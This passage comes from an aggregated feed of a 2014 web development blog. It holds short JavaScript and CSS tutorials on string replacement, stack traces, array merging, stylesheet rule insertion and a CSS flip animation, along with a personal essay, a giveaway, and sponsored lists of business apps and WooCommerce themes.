The value "$1.99" couldn’t have been used as a string replacer because “$1″ would have been interpreted as the first match. The only other option is to pre-escape your string replacer values, like “$$1.99″, but no one wants to do that, so the function replacer is better.

Summary

Regular expression string replace is a more powerful mechanism than most developers give JS credit for.

Global /g regular expressions and function replacer values are just some of the useful but not as well known features of regular expression patterns and replace(..).

Read the full article at: Using String Replace in JavaScript

Treehouse
Wufoo

Author: "Kyle Simpson" Tags: "Guest Blogger, JavaScript"
Comments Send by mail Print  Save  Delicious 
Date: Friday, 12 Sep 2014 02:27

There’s a harsh reality: we’re “grown ups” these days. Every once in a while, however, I see an image that takes me back to my childhood. My childhood was full of sports and video games and I can’t help but smile on those days. I became a “professional” coder at 20 years old but began teaching myself coding at age 14. When I started I couldn’t stop, so while I continued playing sports, I now look fondly back on the time when I didn’t know coding. I was always outside, I was skinning up my knees and elbows and l loved it. I was doing stupid stunts on my bike and getting into the usual young child trouble.

When I saw the following image, I was instantly taken back to my pre-computer days:

That image hit me real, real hard. Calvin & Hobbes is a weak spot of anyone my age (now 31) — that comic still represents a joyful look at the innocence of being young and the care-free, future-free state that comes with being young. A big part of the feeling comes from having a “Little Calvin” in my life — my 1 year old son Jack.

Now that we are professionals, it’s a good time for us to reflect on an image like this and consider if we’re happy with where “Big Calvin” has gone and how we can keep “Little Calvin” playing inside of us. For some of us it’s ensuring we’re on the cutting edge of our job, for others its taking care of business at work and then seeking adventure on the off hours. For me it’s a bit of both.

I’d love to hear your thoughts on this image and how it applies to you and your career. Where is the “Little Calvin” inside of you?

Read the full article at: The Truth About Growing Up

Treehouse
Wufoo

Author: "David Walsh" Tags: "Comics"
Comments Send by mail Print  Save  Delicious 
Date: Thursday, 11 Sep 2014 14:16

I recently inherited a Node.js project and man is that scary.  The code was well written but whenever you inherit a project you instantly inherit the fear of messing things up.  My goal was to fix a fairly routine bug, and finding the issue was fairly easy, but tracing through the code to figure out what called what and what passed what was a nightmare.

So I did the only thing I could do to figure out WTF was going on:

// The magic
console.log(new Error().stack);

/* SAMPLE:

Error
    at Object.module.exports.request (/home/vagrant/src/kumascript/lib/kumascript/caching.js:366:17)
    at attempt (/home/vagrant/src/kumascript/lib/kumascript/loaders.js:180:24)
    at ks_utils.Class.get (/home/vagrant/src/kumascript/lib/kumascript/loaders.js:194:9)
    at /home/vagrant/src/kumascript/lib/kumascript/macros.js:282:24
    at /home/vagrant/src/kumascript/node_modules/async/lib/async.js:118:13
    at Array.forEach (native)
    at _each (/home/vagrant/src/kumascript/node_modules/async/lib/async.js:39:24)
    at Object.async.each (/home/vagrant/src/kumascript/node_modules/async/lib/async.js:117:9)
    at ks_utils.Class.reloadTemplates (/home/vagrant/src/kumascript/lib/kumascript/macros.js:281:19)
    at ks_utils.Class.process (/home/vagrant/src/kumascript/lib/kumascript/macros.js:217:15)
*/

Of course the actual “error” doesn’t matter — the stack trace is exactly what you need to figure out what’s calling what up the chain. When available you can also use console.trace() (when available) to achieve roughly the same output.  You can thank me later!

Read the full article at: Force Stack Traces with JavaScript

Treehouse
Wufoo

Author: "David Walsh" Tags: "JavaScript, Node.js"
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 09 Sep 2014 21:49

This is a quickie simple post on JavaScript techniques. We’re going to cover different methods for combining/merging two JS arrays, and the pros/cons of each approach.

Let’s start with the scenario:

var a = [ 1, 2, 3, 4, 5, 6, 7, 8, 9 ];
var b = [ "foo", "bar", "baz", "bam", "bun", "fun" ];

The simple concatenation of a and b would, obviously, be:

[
   1, 2, 3, 4, 5, 6, 7, 8, 9,
   "foo", "bar", "baz", "bam" "bun", "fun"
]

concat(..)

The most common approach is:

var c = a.concat( b );

a; // [1,2,3,4,5,6,7,8,9]
b; // ["foo","bar","baz","bam","bun","fun"]

c; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

As you can see, c is a whole new array that represents the combination of the two a and b arrays, leaving a and b untouched. Simple, right?

What if a is 10,000 items, and b is 10,000 items? c is now 20,000 items, which constitutes basically doubling the memory usage of a and b.

“No problem!”, you say. We just unset a and b so they are garbage collected, right? Problem solved!

a = b = null; // `a` and `b` can go away now

Meh. For only a couple of small arrays, this is fine. But for large arrays, or repeating this process regularly a lot of times, or working in memory-limited environments, it leaves a lot to be desired.

Looped Insertion

OK, let’s just append one array‘s contents onto the other, using Array#push(..):

// `b` onto `a`
for (var i=0; i < b.length; i++) {
    a.push( b[i] );
}

a; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

b = null;

Now, a has the result of both the original a plus the contents of b.

Better for memory, it would seem.

But what if a was small and b was comparitively really big? For both memory and speed reasons, you’d probably want to push the smaller a onto the front of b rather than the longer b onto the end of a. No problem, just replace push(..) with unshift(..) and loop in the opposite direction:

// `a` into `b`:
for (var i=a.length-1; i >= 0; i--) {
    b.unshift( a[i] );
}

b; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

a = null;

Functional Tricks

Unfortunately, for loops are ugly and harder to maintain. Can we do any better?

Here’s our first attempt, using Array#reduce:

// `b` onto `a`:
a = b.reduce( function(coll,item){
    coll.push( item );
    return coll;
}, a );

a; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

// or `a` into `b`:
b = a.reduceRight( function(coll,item){
    coll.unshift( item );
    return coll;
}, b );

b; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

Array#reduce(..) and Array#reduceRight(..) are nice, but they are a tad clunky. ES6 => arrow-functions will slim them down slightly, but it’s still requiring a function-per-item call, which is unfortunate.

What about:

// `b` onto `a`:
a.push.apply( a, b );

a; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

// or `a` into `b`:
b.unshift.apply( b, a );

b; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

That’s a lot nicer, right!? Especially since the unshift(..) approach here doesn’t need to worry about the reverse ordering as in the previous attempts. ES6’s spread operator will be even nicer: a.push( ...b ) or b.unshift( ...a ).

But, things aren’t as rosy as they might seem. In both cases, passing either a or b to apply(..)‘s second argument (or via the ... spread operator) means that the array is being spread out as arguments to the function.

The first major problem is that we’re effectively doubling the size (temporarily, of course!) of the thing being appended by essentially copying its contents to the stack for the function call. Moreover, different JS engines have different implementation-dependent limitations to the number of arguments that can be passed.

So, if the array being added on has a million items in it, you’d almost certainly way exceed the size of the size of the stack allowed for that push(..) or unshift(..) call. Ugh. It’ll work just fine for a few thousand elements, but you have to be careful not to exceed a reasonably safe limit.

Note: You can try the same thing with splice(..), but you’ll have the same conclusions as with push(..) / unshift(..).

One option would be to use this approach, but batch up segments at the max safe size:

function combineInto(a,b) {
    var len = a.length;
    for (var i=0; i < len; i=i+5000) {
        b.unshift.apply( b, a.slice( i, i+5000 ) );
    }
}

Wait, we’re going backwards in terms of readability (and perhaps even performance!). Let’s quit before we give up all our gains so far.

Summary

Array#concat(..) is the tried and true approach for combining two (or more!) arrays. But the hidden danger is that it’s creating a new array instead of modifying one of the existing ones.

There are options which modify-in-place, but they have various trade-offs.

Giving the various pros/cons, perhaps the best of all of the options (including others not shown) is the reduce(..) and reduceRight(..).

Whatever you choose, it’s probably a good idea to critically think about your array merging strategy rather than taking it for granted.

Read the full article at: Combining JS Arrays

Treehouse
Wufoo

Author: "Kyle Simpson" Tags: "Guest Blogger, JavaScript"
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 09 Sep 2014 14:52

If you want your web design services to be in high demand, and your agency/individual practice to thrive, then there are certain administrative aspects that you absolutely need to tend to. I’ll make it easier for you. Below, you will find a rich list comprised of web apps that serve to help you optimize the way you run your web design business.  Everything you need is here, from invoicing and financial apps, to wireframing and prototyping tools, collaboration and time management software, e-mail marketing solutions, file sharing services, and form builders. 

Invoicing and Financial Apps

Nutcache

Nutcache is an awesome application for companies like yours and, to my mind, the most praiseworthy solution when it comes to handling finances and keeping track of your own and your team members’ working hours. It’s such an incredibly simple tool to begin with, and I bet that it will change the way you look at accounting measures, for good. But most of all, you can use it entirely free of charge, and it sees frequent updates. 

For this, and for many other solid reasons, Nutcache is my favorite software in the world. You can use Nutcache in your own language, if you don’t live in an English-speaking country. Add all of your customers, and all of your co-workers, regardless of their number. Then, have fun creating estimates, sending invoices, keeping track of expenses, and of you team member’s time. 

Apptivo

Apptivo is immensely popular, and I bet it’s because of the modest cost it carries. The records say that this app is represented in over 40 countries, and there are more than 130K entrepreneurs across the world, which put their trust in this software to make their 40K companies blossom. 

Please be notified that Apptivo is a great ‘common room’ for confronting all managerial aspects of your business, as it facilitates a common data model. Brand your invoices before you send them to your satisfied clients, and enjoy reaping the benefits of more than 45 apps, such as Customer Relations Management, project management, and time management.

Pulse

Pulseapp aims to be a vital ingredient to the wellbeing of your small company or independent practice. And I believe it is. The underlying justification for its existence is that each and every careless decision that you make will impact your finances in ways that you may not be aware of. Therefore, you should give yourself enough time to consider the whole matter carefully, and assess all implications, before you take action. 

Pulse is engineered to help you keep your cashflow in check, by predicting all of your company’s future incomes and expenses in terms of days, weeks, and months. Quickbooks and Xero are also going to be integrated with Pulse, soon. 

Wireframing and prototyping tools

Proto.io

It’s about time we addressed the matter of prototypes and how to better present them. Whenever you’re designing a mobile website, mobile app, or web app, nothing can possibly be more useful than a cloud-based app that exempts you from writing code, and runs a realistic simulation of your prototype.

As you can imagine, a simulation would be of tremendous help, because it helps you uncover issues and solve them quickly. Proto.io also helps you present your prototype in an interactive way, by adding animations, and screen transitions. You can share the presentation of your prototype via a link, and its viewers can access it with an iOS/Android device, with the player app. 

Powermockup

A good wrapping will make anything look great. Even though average wireframing solutions come a long way when it comes to planning a successful project, you still need to be able to make everyone understand what it is that you’re working on. And by everyone, I mean not just your colleagues, but your customers, too. 

PowerMockup is an add-on for Microsoft PowerPoint 2007, 2010, and 2013. Easily search through a colossal library with wireframe stencils and icons, then drag-and-drop whatever you need into your presentation. As a side note, you are also able to create new stencils using PowerPoint shapes, and then integrate them in the library.

Collaboration and project management tools

Comindware Tracker

If you own a small design agency, I know just the app that will help you synchronize your conjoint efforts, so your team will operate at full potential. This is the story of Comindware Tracker, a cloud-based project management solution that allows you to appoint or re-assign tasks of your own accord, on top of automatically generating them in compliance with predefined priorities and deadlines. You can even program some tasks to start automatically now and then. Comindware Tracker enables users to fix sub-tasks, too. Even further, you won’t miss ever any updates on the project, but be instantly notified every single time.

Freedcamp

Everyone knows Freedcamp does not charge a single penny for helping you manage your client projects. The number of people who trust this software goes as high as 300K, and that speaks volumes about its utility and accessibility. Not only do you save money, but you also don’t have to suffer the presence of annoying advertisements, as a consequence. This app creates a unified and socially open working environment. 

You can make use of applications like Issue Tracker, Calendar, CRM, and Password Manager. You and your colleagues can altogether assign tasks, track your time, send invoices, or share documents from Google Drive. Besides, communication is easy due to the Meebo chatbar, which includes Gtalk, Live Messenger, and AIM.

Time management

Freckle

Time is a resource. It’s the most valuable resource that people share. Keeping track of your time at work can improve your productivity, and Freckle is the most accessible app that will help you in that matter. Designers will find it almost enjoyable to insert time entries, or manage clients and send them invoices. 

DeskTime

Time tracking at work is a good idea if you have employees, also because you’d then have a way of assessing their productivity in relation to various tasks at hand – and help them reach the highest levels of motivation. DeskTime is another fine tool that you can turn to for this purpose. 

Email Marketing

Sendloop

Your enterprise depends on the quality of your e-mail marketing. If you don’t send proper newsletters, how are going to attract clients? One of the most feature-rich software in this sense is Sendloop. And I’ll say right from the start that it’s exceedingly easy to work with. A drag-and-drop e-mail builder is all you need in order to craft gorgeous e-mails. The entire process can take as little as 5 minutes to complete, and you will end up with mobile-friendly e-mails. Besides, Sendloop also keeps track of your e-mail metrics in real time. 

Mailigen

You could also turn to Mailigen for assistance with your e-mail marketing. This app helps you devise powerful e-mail campaigns, step by step, and it places an amazing selection of templates at your service. On top of that, Mailigen also generates full-scale reports and statistics that analyze your campaigns. You can try it for free anytime. I’m sure you’ll be convinced of its utility in no-time. You won’t need to waste time searching the web for beautiful e-mail templates, ever again. 

Form builders

Typeform

Typeform is one clever sidekick. It comes to your aid with all sorts of mobile-ready data collection tools, which are bound to increase your response rate. You may use it for surveys, forms, contests, landing pages, recruitment, events, education, and for so much more. It’s up to you to either use Typeform for free, or sign a PRO plan and get the whole deal. As a free user, you won’t be constrained to a certain number of created forms or received responses. Nonetheless, going PRO makes room for your brand identity, logic jumps, hidden fields, automatic respondent notification messages, etc. 

iFormBuilder

On an alternate note, you may also like to work with iFormBuilder. This software will help you design robust, but flexible forms, and start collecting the mobile data that matters most to your business. The app boasts of entertaining strict security policies on mobile devices, and it will collect data with or without an Internet Connection. 

File sharing

Box

You and your hard working collaborators need to share and edit many types of files, all the time. There are countless types of file sharing services on the web, but some are better than others. Box is completely web-based, and allows organizations to store, share, modify, and sync their internal files. 

Dropcanvas

In case of emergency, I know just the perfect file sharing solution that does not even ask you to register before sharing company files. You simply choose the files to upload, drag-and-drop them on site, and then the service generates a link, which you can further share via e-mail and social networks. 

Conclusion

I am hereby bringing my selection of top grade resources for web designers to an end. These are my own personal favorite web apps for start-ups and freelancers. I hope you found inspiration among them, and that you will use it to carve a bright future for your own company or solo practice.

Read the full article at: Professional Web Designers Use These Apps. Do You? (Sponsored)

Treehouse
Wufoo

Author: "Kate Dagli" Tags: "Sponsored"
Comments Send by mail Print  Save  Delicious 
Date: Friday, 05 Sep 2014 02:55

When you work on a site that relies on a given JavaScript toolkit, you unintentionally end up trying to solve problems within the bounds of the toolkit and not the language.  Such was the case when I tried wrapping text (possibly including HTML elements) with a DIV element.  Imagine the following HTML:

This is some text and <a href="">a link</a>.

And say you want to turn that into the following:

<div>This is some text and <a href="">a link</a>.</div>

You could do a simple .innerHTML update on the parent but the problem with that is any event connections would be severed because innerHTML creates new elements from HTML.  Damn.  So it’s time to retreat to basic JavaScript — glory for some and failure for others.  Here’s how to make it happen:

var newWrapper = document.createElement('div');
while(existingParent.firstChild) {
	newWrapper.appendChild(existingParent.firstChild);
}

Using a for loop wont work because childNodes is a live node collection, so moving it would affect the the indexes.  Instead we can do continuous firstChild checks on the parent until a falsy value is returned and then you know all children have been moved!

Read the full article at: Wrapping Text Nodes and Elements with JavaScript

Treehouse
Wufoo

Author: "David Walsh" Tags: "JavaScript, Quick Tips"
Comments Send by mail Print  Save  Delicious 
Date: Thursday, 04 Sep 2014 12:17

Update:Rewrites made to accurately represent current practice for stylesheet injection.

Since we’re using so much JavaScript in our web applications these days, we’re looking for more ways to keep them fast.  We use event delegation to keep event listening efficient, we use function debouncing to limit the number a times a given method can be used, use JavaScript loaders to load only the resources we need, and so on.  Another way we can make our pages efficient and fast is to dynamically add and remove styles directly to a stylesheet instead of constantly querying the DOM for elements and applying styles.  Here’s how it works!

Getting the Stylesheet

Which stylesheet you add the rules to is up to you.  If you have a specific stylesheet in mind, you can add an ID to the LINK or STYLE element within your page HTML and get the CSSStyleSheet object by referencing the element’s sheet property.  The stylesheets can be found in the document.styleSheets object:

var sheets = document.styleSheets; // returns an Array-like StyleSheetList

/*
Returns:  

StyleSheetList {0: CSSStyleSheet, 1: CSSStyleSheet, 2: CSSStyleSheet, 3: CSSStyleSheet, 4: CSSStyleSheet, 5: CSSStyleSheet, 6: CSSStyleSheet, 7: CSSStyleSheet, 8: CSSStyleSheet, 9: CSSStyleSheet, 10: CSSStyleSheet, 11: CSSStyleSheet, 12: CSSStyleSheet, 13: CSSStyleSheet, 14: CSSStyleSheet, 15: CSSStyleSheet, length: 16, item: function}
*/

// Grab the first sheet, regardless of media
var sheet = document.styleSheets[0];

One important consideration is the media of the stylesheet — you want to ensure you aren’t adding rules to a print stylesheet when you expect the styles to display on screen.  A CSSStyleSheet object does have informational properties for you to peruse:

// Get info about the first stylesheet
console.log(document.styleSheets[0]);

/*
Returns:  

CSSStyleSheet
	cssRules: CSSRuleList
	disabled: false
	href: "http://davidwalsh.name/somesheet.css"
	media: MediaList
	ownerNode: link
	ownerRule: null
	parentStyleSheet: null
	rules: CSSRuleList
	title: null
	type: "text/css"
*/

// Get the media type
console.log(document.styleSheets[0].media.mediaText)
/*
Returns:
	"all" or "print" or whichever media is used for this stylesheet
*/

In any event, there are many ways to grab a stylesheet to attach style rules to.

Creating a New Stylesheet

In many cases, it may just be best to create a new STYLE element for your dynamic rules.  This is quite easy:

var sheet = (function() {
	// Create the <style> tag
	var style = document.createElement("style");

	// Add a media (and/or media query) here if you'd like!
	// style.setAttribute("media", "screen")
	// style.setAttribute("media", "only screen and (max-width : 1024px)")

	// WebKit hack :(
	style.appendChild(document.createTextNode(""));

	// Add the <style> element to the page
	document.head.appendChild(style);

	return style.sheet;
})();

Unfortunately WebKit requires a hack to properly get things going but all we care about is having that sheet.

Inserting Rules

Stylesheets have an insertRule method which isn’t available in earlier IE’s but is now the standard for rule injection.  The insertRule requires that you write the entire CSS rule just as you would in a stylesheet:

sheet.insertRule("header { float: left; opacity: 0.8; }", 1);

This method may seem a bit ugly for a JavaScript API but that’s how it works. The second argument, the index, represents the index at which to insert the rule. This is helpful so that you can insert the same rule/code and define which wins out. The default for index is -1, which means the end of the collection.  For extra/lazy control, you may add !important to rules to avoid problems with the index.

Adding Rules – Nonstandard addRule

CSSStyleSheet objects have an addRule method which allows you to register CSS rules within the stylesheet.  The addRule method accepts three arguments:  the selector, the second the CSS code for the rule, and the third is the zero-based integer index representing the style position (in relation to styles of the same selector):

sheet.addRule("#myList li", "float: left; background: red !important;", 1);

addRule calls return a result of -1 in all cases — it really doesn’t represent anything.

Remember that the advantage here is that elements added from the page automatically have the styles applied to them; i.e. you wont have to add them to elements as they’re injected into the page.  Efficient!

Safely Applying Rules

Since browser support for insertRule isn’t as global, it’s best to create a wrapping function to do the rule application.  Here’s a quick and dirty method:

function addCSSRule(sheet, selector, rules, index) {
	if("insertRule" in sheet) {
		sheet.insertRule(selector + "{" + rules + "}", index);
	}
	else if("addRule" in sheet) {
		sheet.addRule(selector, rules, index);
	}
}

// Use it!
addCSSRule(document.styleSheets[0], "header", "float: left");

This utility method should cover all cases of new style application.  If you are nervous about applying variable styles across your app, it’s reasonable to wrap the inner code of this method in a try{}catch(e){} block.

Inserting Rules for Media Queries

Media query-specific rules can be added in one of two ways. The first way is through the standard insertRule method:

sheet.insertRule("@media only screen and (max-width : 1140px) { header { display: none; } }");

Of course since IE hasn’t always supported insertRule, the other method is creating a STYLE element with the proper media attribute, then adding styles to that new stylesheet. This may require juggling multiple STYLE elements, but that’s easy enough. I would probably create an object with media queries as indexes, and create/retrieve them that way.

Dynamically adding rules to stylesheets is efficient and easier than you may think.  Keep this strategy in mind on your next big app, as it may save you work in both code and element processing.

Read the full article at: Add Rules to Stylesheets with JavaScript

Treehouse
Wufoo

Author: "David Walsh" Tags: "CSS, JavaScript"
Comments Send by mail Print  Save  Delicious 
Date: Thursday, 04 Sep 2014 02:18

Any time you get a new device it’s like instant Christmas.  Whether it’s top of the line or bottom of the barrel, we’re always excited to check out unique devices to see what we can learn, check out what apps are popular, and test the websites we work on.  My latest devices is a Geeksphone Peak.  The following are images from my joyous unboxing.

Geeksphone Peak Firefox OS Phone 1

Geeksphone Peak Firefox OS Phone 2

Geeksphone Peak Firefox OS Phone 3

Geeksphone Peak Firefox OS Phone 4

Geeksphone Peak Firefox OS Phone 5

Geeksphone Peak Firefox OS Phone 6

Geeksphone Peak Firefox OS Phone 7

I look forward to dabbling with this developer device much as I did the Keon.  Firefox OS is making major strides in countries around the world and I continue to be amazed at the work rate of the team at Mozilla!

Read the full article at: Geeksphone Peak Firefox OS Unboxing

Treehouse
Wufoo

Author: "David Walsh" Tags: "Firefox OS"
Comments Send by mail Print  Save  Delicious 
Date: Wednesday, 03 Sep 2014 15:46

Velocity Conference

O’Reilly’s Velocity Conference is quickly approaching — it’s September 15–17 in beautiful New York. As a follow up to last month’s post, I wanted to make sure people knew I had 2 more tickets left to give away to this epic front-end performance conference!

If you’re hoping to win a free ticket to Velocity NY, please post a comment below citing your favorite client-side performance testing tool. Winner will be selected tomorrow!

Read the full article at: Giveaway: 2 Free Tickets to Velocity Conference in NY

Treehouse
Wufoo

Author: "David Walsh" Tags: "Events, Giveaways"
Comments Send by mail Print  Save  Delicious 
Date: Wednesday, 03 Sep 2014 12:13

You’ve all asked for it and now I’ve added it: Internet Explorer support! Annoyingly enough, the change involves rotate the front and back elements instead of just the container. Skip to this section if you’d like the Internet Explorer code. IE10+ is supported; IE9 does not support CSS animations.

CSS Flip

CSS animations are a lot of fun; the beauty of them is that through many simple properties, you can create anything from an elegant fade in to a WTF-Pixar-would-be-proud effect. One CSS effect somewhere in between is the CSS flip effect, whereby there’s content on both the front and back of a given container. This tutorial will show you show to create that effect in as simple a manner as possible.

Quick note: this is not the first tutorial about this effect, but I’ve found the others over-complicated. Many other tutorials add additional styles to code samples which then require the reader to decipher which are needed and which aren’t. This tutorial avoids that issue, providing you only the necessary styles; you can pretty up each side of the flip any way you’d like.

The HTML

The HTML structure to accomplish the two-sided effect is as you would expect it to be:

<div class="flip-container" ontouchstart="this.classList.toggle('hover');">
	<div class="flipper">
		<div class="front">
			<!-- front content -->
		</div>
		<div class="back">
			<!-- back content -->
		</div>
	</div>
</div>

There are two content panes, “front” and “back”, as you would expect, but also two containing elements with very specific roles explained by their CSS. Also note the ontouchstart piece which allows the panes to swap on touch screens. Obviously you should break that code into a separate, unobtrusive JavaScript block if you wish.

The CSS

I’m willing to bet that outside of the usual vendor prefix bloat, you’d be surprised at how little CSS is involved:

/* entire container, keeps perspective */
.flip-container {
	perspective: 1000;
}
	/* flip the pane when hovered */
	.flip-container:hover .flipper, .flip-container.hover .flipper {
		transform: rotateY(180deg);
	}

.flip-container, .front, .back {
	width: 320px;
	height: 480px;
}

/* flip speed goes here */
.flipper {
	transition: 0.6s;
	transform-style: preserve-3d;

	position: relative;
}

/* hide back of pane during swap */
.front, .back {
	backface-visibility: hidden;

	position: absolute;
	top: 0;
	left: 0;
}

/* front pane, placed above back */
.front {
	z-index: 2;
	/* for firefox 31 */
	transform: rotateY(0deg);
}

/* back, initially hidden pane */
.back {
	transform: rotateY(180deg);
}

Here’s a rough overview of the process:

  • The outlying container sets the entire animation area’s perspective
  • The inner container is the element that actually flips, spinning 180 degrees when the parent container is hovered over. This is also where you control the transition speed. Changing the rotation to -180deg spins the elements in the reverse direction.
  • The front and back elements are positioned absolutely so they can “overlay” each other in the same position; their backface-visibility is hidden so the back of the flipped elements don’t display during the animation
  • The front element has a higher z-index than the back element so the front element may be coded first but it still displays on top
  • The back element is rotate 180 degrees, so as to act as the back.

That’s really all there is to it! Put this simple structure into place and then style each side as you’d like!

A Note from CSS Animation Expert Ana Tudor

Applying certain properties with certain values (like overflow: hidden) on the card element would disallow it to have 3D transformed children. I believe this is relevant because I got into trouble with overflow: hidden precisely in such cases, where all children of the 3D transformed element were in the same plane, but one or more had been rotated by 180deg.

CSS Flip Toggle

If you’d prefer the element only flip on command via JavaScript, a simple CSS class toggle will do the trick:

.flip-container:hover .flipper, .flip-container.hover .flipper, .flip-container.flip .flipper {
	transform: rotateY(180deg);
}

Adding the flip class to the container element will flip the card using JavaScript — no user hover required. A JavaScript comment like document.querySelector("#myCard").classList.toggle("flip") will do the flip!

CSS Vertical Flip

Performing a vertical flip is as easy as flipping the axis and adding the transform-origin axis value. The origin of the flip must be updated and the card rotated the other way:

.vertical.flip-container {
	position: relative;
}

	.vertical .back {
		transform: rotateX(180deg);
	}

	.vertical.flip-container .flipper {
		transform-origin: 100% 213.5px; /* half of height */
	}

	.vertical.flip-container:hover .flipper {
		transform: rotateX(-180deg);
	}

You can see that the X access gets used, not the Y.

Internet Explorer Support

Internet Explorer requires significant modifications to the standard flip code because it has not yet implemented all of the modern transform properties. Essentially both the front and back elements need to flipped at the same time:

/* entire container, keeps perspective */
.flip-container {
	perspective: 1000;
	transform-style: preserve-3d;
}
	/*  UPDATED! flip the pane when hovered */
	.flip-container:hover .back {
		transform: rotateY(0deg);
	}
	.flip-container:hover .front {
	    transform: rotateY(180deg);
	}

.flip-container, .front, .back {
	width: 320px;
	height: 480px;
}

/* flip speed goes here */
.flipper {
	transition: 0.6s;
	transform-style: preserve-3d;

	position: relative;
}

/* hide back of pane during swap */
.front, .back {
	backface-visibility: hidden;
	transition: 0.6s;
	transform-style: preserve-3d;

	position: absolute;
	top: 0;
	left: 0;
}

/*  UPDATED! front pane, placed above back */
.front {
	z-index: 2;
	transform: rotateY(0deg);
}

/* back, initially hidden pane */
.back {
	transform: rotateY(-180deg);
}

/* 
	Some vertical flip updates 
*/
.vertical.flip-container {
	position: relative;
}

	.vertical .back {
		transform: rotateX(180deg);
	}

	.vertical.flip-container:hover .back {
	    transform: rotateX(0deg);
	}

	.vertical.flip-container:hover .front {
	    transform: rotateX(180deg);
	}

With the code above, IE10 will rotate flip the elements as expected!

The CSS flip animation has always been a classic, representative example of what’s possible with CSS animations, and to a lessor extent, 3D CSS animations. What’s better is that there’s actually very little CSS involved. This effect would be really neat for HTML5 games, and as a standalone “card” effect, it’s perfect. Can you think of anything else you’d use this for?

Read the full article at: Create a CSS Flipping Animation

Treehouse
Wufoo

Author: "David Walsh" Tags: "CSS, CSS Animations, Demos, Features, Ma..."
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 02 Sep 2014 17:32

All around the world, hundreds of retail stores see the light of day every week, and they need to have an engaging online presence, as more and more customers are doing their shopping via the internet. This is where designers step in. It is common knowledge that a professional website is bound to increase sales, and using an adequate theme is the key to everything. I decided to make up a list of the latest outstanding WooCommerce themes. Check it out. 

Bi-Shop

Bi-Shop is truly amazing. To be honest, I’ve never encountered a more wholesome and intuitive theme than this one. It’s based on a strong framework, extremely easy to work with, and surprisingly versatile.  When you buy this theme, in reality, you receive 8 skins and 8 different graphic styles. You will be able to create an infinite number of responsive layouts using the visual composer and demo importer. And since time is of the essence, rest assured knowing that you won’t take long to get the hang of it and strike up unique websites for your clients. 

Apart from various e-commerce features, Bi-Shop comes with tons of widgets and plugins, as well as full BuddyPress and BBPress integration. In addition, owners of this theme are privy to an exclusive set of Sliders, and unlimited Parallax. Last but not least, you also get RTL, lovely JQuery effects, and great CSS 3. 

Snapshop

Working on an online gadget shop? If so, you’ll love Snapshop. It has a modern, eye-catching design, that won’t fail to draw flocks of photography and technology aficionados. Start from a series of wicked awesome page templates, and use various widgets to customize each individual page, if so you wish. Lastly, Snapshop supports beautifully styled WordPress post formats. 

Highlander

Highlander is a fair option in any instance. This theme is retina-ready and responsive, which means it will deliver the contents of your client’s store in a perfect wrapping, into the visitor’s ‘palms’, who will be able to get the best of it over any type of device. Even more, Highlander sports an unlimited color scheme and 50+ module positions in order to customize theme settings. 

Flatshop

Meet Flatshop from Themify, the theme that aced flat design and guarantees a charming user experience. The product lightbox and Ajax slidecart make it super simple for clients to study product specifications and add them to their shopping carts without waiting for the page to reload. Besides, designers are at liberty to use effects like fly-in animations and the parallax scrolling technique, and come up with ravishing E-commerce websites. Flatshop’s frontend drag-and-drop builder allows you to move modules around, and preview every step in real time, before applying it.  On top of everything, you may create as many shop pages as you want, and customize each of their layouts in 4 different ways. 

Lighting Store

Lighting Store is wrought with elegance and visual depth. That is why it would be an ideal choice for online shops that deal in lighting products and other apartment-related items. If you purchase this theme, know that it comes with a 2-step installation process, and a built-in theme customizer. Any and all updates to this theme will be enacted immediately, throughout your lifetime. You would gain access to numerous color options, as well as superb sliders for sharing product images. Lighting Store is also WPML-ready, so it supports many languages. Moreover, you can use any of the 80+ shortcodes, and choose from over 600 Google fonts to customize the online shop’s typography. Want to get 50% off LightingStore? Just insert coupon code “WOO” at the checkout. Hurry up, because the offer is only available until the 22nd of September.

Shopsy

Shopsy occupies a special place in my preferences. It places a lot of emphasis on animations, so you can use it to build extra friendly and compelling WooCommerce websites that will make your clients very happy, because their online stores are sure to become a tremendous success in a very short space of time. Shopsy is a cross-device responsive WordPress theme, and it is built on the most recent Bootstrap installment (3.0). With the help of its magnificent drag-and-drop functionality, designers are free to create as many templates and page-blocks as they please. Another wonderful thing about Shopsy is its association with Font-Awesome 4, which unlocks a high number of built-in icons. 

Music Store

Music Store from Crocoblock is yet another must-see WooCommerce theme. As the name clearly points out, this is a perfect website theme for music shops, which display artists’ album covers, and their description or historical background. There is also plenty of space to add information related to pricings and similar products coming from other artists. You can go as far as you want when you’re customizing the site design, because all images and PSD files are included in the same package. Check out Crocoblock for more cool WooCommerce themes. There are more than 90 templates and prices start as low as 60 cents per template.

SoCute

If you’re looking to set up a good old-fashioned WooCommerce store, then go for SoCute and you will get the job done perfectly, and without any sort of complications. SoCute is, in other words, a minimalistic but beautiful theme, and will produce sleek-looking online stores for any occasion. In terms of layout, you are free to choose from thousands of options, and so come up with a website to your and your client’s liking. You can check out the live demo, or try the free version of this theme, before you buy it.

Munditia

You absolutely have to check out Munditia. This theme includes, for an extra $15, the most coveted Premium plugin for WordPress websites: the Revolution Slider, which you can use in order to create fabulous slideshows. What’s more, Munditia is also equipped with Zoom function, and AJAX loading, which can be turned on and off in the Admin Panel. The AJAX feature is particularly attractive, as clients can make a purchase straight from the product page. Last but not least, you can also enable Wishlists, for any potential customers who are planning to buy products later on. 

Crux

Crux is built on the StagFramework and will help you devise a juicy website that is easy to ‘digest’ for potential buyers. It is effective, lightweight, and multilingual, as well as fully responsive and retina-ready. The Layerslider feature will help you make awesome sliders on the move, and you can also set as many sidebars as you wish. 

Wokey

I also need to mention WokeyStore in my list of superlative WooCommerce themes. This particular theme is rooted in a modern, neat design, which goes well with any niche your client happens to belong to. With the drag-and-drop content manager, you can apply custom background and color-per-row options. The mega menu plugin is also included. 

G-Shop

